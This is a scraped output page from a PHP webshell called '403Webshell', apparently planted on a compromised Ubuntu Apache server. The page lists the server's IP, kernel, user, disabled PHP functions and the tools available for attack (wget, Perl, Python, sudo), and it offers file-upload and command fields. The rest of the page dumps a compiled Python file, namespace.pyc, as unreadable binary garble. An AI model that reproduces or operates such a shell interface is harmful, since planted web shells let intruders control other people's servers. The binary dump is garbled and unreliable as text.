403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/python/debpython/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/python/debpython/namespace.pyc
ó
J˜ŔQc@€sëddlmZddlZddlmZmZmZmZddlm	Z	m
Z
mZmZm
Z
ddlmZmZddlmZddlmZmZejeƒZdd„Zedd	„ƒZddd
„Zd„ZdS(i˙˙˙˙(twith_statementN(tenvirontlistdirtremovetrmdir(tdirnametexiststjointgetsizetsplit(tPopentPIPE(t
PUBLIC_DIR_RE(tmemoizetsitedirc	C€slt|pgƒ}xS|D]K}t|dƒ4}x*|D]"}|r8|j|jƒƒq8q8WWdQXqW|S(s#Parse namespace_packages.txt files.trN(tsettopentaddtstrip(tfpathstothertresulttfpathtfptline((s(/usr/share/python/debpython/namespace.pytparse"s

$cC€sľd}dtjddƒ}|rLt||ƒ}t|ƒrƒ|g}qƒn7t|ƒrƒgt|ƒD]}t||ƒ^qe}n|r¨td„t|ƒDƒƒ}n	tƒ}|S(s~Return a set of namespaces to regenerate/clean.

    :param package: limit namespaces to the ones needed by given package
    s%s/usr/share/python/ns/tDESTDIRtcs€s!|]}|jddƒVqdS(t.t/N(treplace(t.0ti((s(/usr/share/python/debpython/namespace.pys	<genexpr>AsN(tNoneRtgetRRRRR(tpackageRtnsdirRR!R((s(/usr/share/python/debpython/namespace.pytload-s+	cc€sU|dk	r-t|ƒ}tƒ}tƒ}nx/|D]'}|V|dkrQq4nt|ƒ}||kr4|j|ƒtj|ƒ}|r[|jƒ}	xž||	krT|t|	ƒd}
|
|kr4t	|dƒ}|t
kr$yt|dƒjƒWn!t
k
rtjd|ƒq1X|Vq4|j|ƒn|j|ƒt|ƒd}qšWq[q4q4W|tkrQ|rQtddj	|ƒdt
d	tƒ}|jƒ\}
}xF|
jƒD]8}|jd
dƒd}||krľ|j|ƒqľqľWx]|D]R}yt|ƒWn6ttfk
rD}tjd|ƒtj|ƒqřX|VqřWndS(
s)Add __init__.py files to given generator.is__init__.pytascannot create %sis/usr/bin/dpkg -S %s 2>/dev/nullt tshelltstdouts: scannot remove %sN(R"R&RRRRtmatchtgrouptlenRtTrueRtcloset	ExceptiontlogterrorR	tFalseR
Rtcommunicatet
splitlinesRtIOErrortOSErrortdebug(tfilesR$tactiont
namespacestalready_processedtremoval_candidatestfntdpathtmt
public_dirtns_dirRtprocessR*tstderrRtnste((s(/usr/share/python/debpython/namespace.pytadd_namespace_filesGsT	




c	C€sŻt|tƒst|ƒ}ntƒ}x”|D]Œ}xƒ|D]{}tt||ƒ|jdƒŒ}t|dƒ}t|ƒsƒq;nt|ƒdkr;tjd|ƒ|j	|ƒPq;q;Wq.W||}xŕ|D]Ř}xp|D]h}tt||ƒ|jdƒŒ}t|dƒ}t|ƒrÜt
|ƒt|ƒsDt|ƒqDqÜqÜWtd|d|jdƒŒ}t|dƒ}t|ƒrĎt
|ƒt|ƒs§t|ƒq§qĎqĎW|S(s8Remove empty __init__.py files for requested namespaces.Rs__init__.pyis)file not empty, cannot share %s namespacetdebiansusr/share/pyshared(
t
isinstanceRRRR	RRR1twarningRRRR(	R$R;tversionstkeepREtversionRRR?((s(/usr/share/python/debpython/namespace.pytremove_from_packages:	

!



!

(t
__future__RtloggingtosRRRRtos.pathRRRRR	t
subprocessR
Rtdebpython.pydistRtdebpython.toolsR
Rt	getLoggert__name__R1R"RR&RGRN(((s(/usr/share/python/debpython/namespace.pyt<module>s"(8

Youez - 2016 - github.com/yon3zu
LinuXploit